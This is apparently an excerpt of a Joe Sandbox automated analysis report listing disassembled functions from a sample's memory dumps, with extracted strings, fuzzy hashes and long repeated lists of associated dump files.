Instruction Fuzzy Hash: 6703EFB4D0425ADBCF15CFA8D995AEEBBB0AF18300F204199D949B7341DB301B85CFA6

Function 001F3610 Relevance: 4.6, Strings: 3, Instructions: 857COMMON

Download Yara Rule

Strings

cannot use push_back() with , xrefs: 001F3E29, 001F42C0
h0Y+, xrefs: 001F430C
cannot use operator[] with a string argument with , xrefs: 001F41BE, 001F4211, 001F424B

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID:
String ID: cannot use operator[] with a string argument with $cannot use push_back() with $h0Y+
API String ID: 0-3177247823
Opcode ID: 980b6b7a3c6d8095c7ad7985a16d8ada991a46a0018ce36ce1c44893720b94a9
Instruction ID: 7c3d07aa9f79496526a1edd6419d407c87027038d9ff3d6ca6ed11687b0c8254
Opcode Fuzzy Hash: 980b6b7a3c6d8095c7ad7985a16d8ada991a46a0018ce36ce1c44893720b94a9
Instruction Fuzzy Hash: 36927A70C04258CBDB25DF68C9447EEBBB1AF25300F24829DE559AB382DB746B84CF91

Function 001A8E30 Relevance: 4.2, Strings: 3, Instructions: 463COMMON

Download Yara Rule

Strings

h0Y+, xrefs: 001A9337
+, xrefs: 001A9363
/, xrefs: 001A9368

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID:
String ID: +$/$h0Y+
API String ID: 0-625715168
Opcode ID: b101a7219402cce823dce578ca4c78436b20566a75600099c6fe3d0864c63c63
Instruction ID: 0371c802fceb7f6af73e3284a0311c7f85f1844a5635b56554f3528a541911c5
Opcode Fuzzy Hash: b101a7219402cce823dce578ca4c78436b20566a75600099c6fe3d0864c63c63
Instruction Fuzzy Hash: 8602C275D002459FCB05CF68C4947EEBBF5FF5A310F24426AE865AB382D7349A84CBA0

Function 003B3327 Relevance: 3.9, Strings: 3, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

Strings

%7, xrefs: 00322673
to., xrefs: 003B3335
C, xrefs: 003B33CC

Memory Dump Source

Source File: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID:
String ID: %7$C$to.
API String ID: 0-2013646716
Opcode ID: c45ca5f3de0e0632ddf692d2d3d3749c56b4d9e6b3973cfb97c53cbcc996c860
Instruction ID: b1ccf58cb309a0b42757fe5def362f70e64f072016bbcb59ef92d4a8fc870f68
Opcode Fuzzy Hash: c45ca5f3de0e0632ddf692d2d3d3749c56b4d9e6b3973cfb97c53cbcc996c860
Instruction Fuzzy Hash: 6F41AE764183529BCB12AF34C8501EBB7E1FFC2710F809A5CE8E55B1A1E3349D5AC742

Function 003070E5 Relevance: 3.8, Strings: 3, Instructions: 89COMMON

Download Yara Rule

Strings

x, xrefs: 003A532C
H, xrefs: 003E1E85
94l, xrefs: 003A533A

Memory Dump Source

Source File: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID:
String ID: 94l$H$x
API String ID: 0-3780200091
Opcode ID: 2062077c08684990609942041502ed7233bacd14926ce84b0d7335982b6a041c
Instruction ID: bc99799ea6979dc993c008e055b418f126551cabb4933abaef95f4610cf9837b
Opcode Fuzzy Hash: 2062077c08684990609942041502ed7233bacd14926ce84b0d7335982b6a041c
Instruction Fuzzy Hash: BF315131018742ABDB1DAB35C9254ABB790EBC3360F81DB1CE0E7875D2D7348515DA86

Function 001F4320 Relevance: 3.6, Strings: 2, Instructions: 1124COMMON

Download Yara Rule

Strings

cannot use push_back() with , xrefs: 001F53EC
cannot use operator[] with a string argument with , xrefs: 001F5441, 001F5496, 001F54EB, 001F5540, 001F559A

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID:
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 0-3306948993
Opcode ID: 5af8823e88b4522ae231b19331fd1f6f7490967f33a1b1692c39a53dcb083d70
Instruction ID: 6c5a2f8e82c96434349d718789c2d46598aaee472adf8090f55988cba42d0d6a
Opcode Fuzzy Hash: 5af8823e88b4522ae231b19331fd1f6f7490967f33a1b1692c39a53dcb083d70
Instruction Fuzzy Hash: E0C24770D042A8CBDB25DF68C8957EEBBB0BF29304F1482D9D94967282DB745B84CF91

Function 00284D40 Relevance: 2.0, Strings: 1, Instructions: 710COMMON

Download Yara Rule

Strings

%s-mj%08X, xrefs: 00284F98

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
